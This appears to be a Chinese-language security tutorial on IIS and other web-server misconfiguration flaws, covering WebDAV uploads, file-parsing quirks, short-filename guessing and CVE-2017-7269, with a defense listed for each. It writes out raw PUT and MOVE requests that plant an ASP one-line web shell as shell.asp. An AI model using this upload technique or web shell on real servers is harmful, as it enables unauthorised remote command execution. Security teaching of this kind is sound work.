常见的的web中间件有iis apache tomcat nginx jboss Weblogic WebSphere,如果配置不当也会造成漏洞,下面举出几个常见的容器漏洞
iis6.0 put的上传 IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
用burpsuite 提交OPTIONS 查看支持的协议
put写入一句话,但是不能直接写入脚本文件先写个txt文件再通过move方法改写成asp文件
PUT /test.txt HTTP/1.1
Host: upload.moonteam.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 27
<%eval request(“cmd”)%>
成功写入
MOVE /test.txt HTTP/1.1
Host: upload.moonteam.com
Destination: http://upload.moonteam.com/shell.asp
防御方案:关掉webDAV 关闭写入权限
iis6.0解析漏洞
iis6.0默认会将xx.asp;.jpg这种格式的文件当作asp处理不会管;.后面的拓展名,cer asa cdx也会当成asp解析,因为它们都是通过了C:\WINDOWS\system32\inetsrv\asp.dll进行了映射
防御:禁止上传此类文件采用白名单验证,图片上传目录不允许脚本执行权限
还有基于文件解析的在iis6.0下创建一个为.asp的文件夹会将里面的文件均当作asp执行,可以禁止创建此类文件夹
iis短文件名
简介:Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位
Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短文件名的效果。
当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六
种
IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功
直接使用工具对目标站进行检测
防御:1、升级.net framework
2、修改注册表键值:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
修改NtfsDisable8dot3NameCreation为1。修改完成后,需要重启系统生效。
命令行关闭 fsutil behavior set disable8dot3 1
iis RCE-CVE-2017-7269
参考:https://www.cnblogs.com/PANDA-Mosen/p/13112046.html
4.防御
1.关闭 WebDav服务
2.升级
3.部署安全设备
IIS7.X版本在Fast-CGI运行模式下,在任意文件,例如:a001.jpg后面加上上/.php,会将文件当作php脚本执行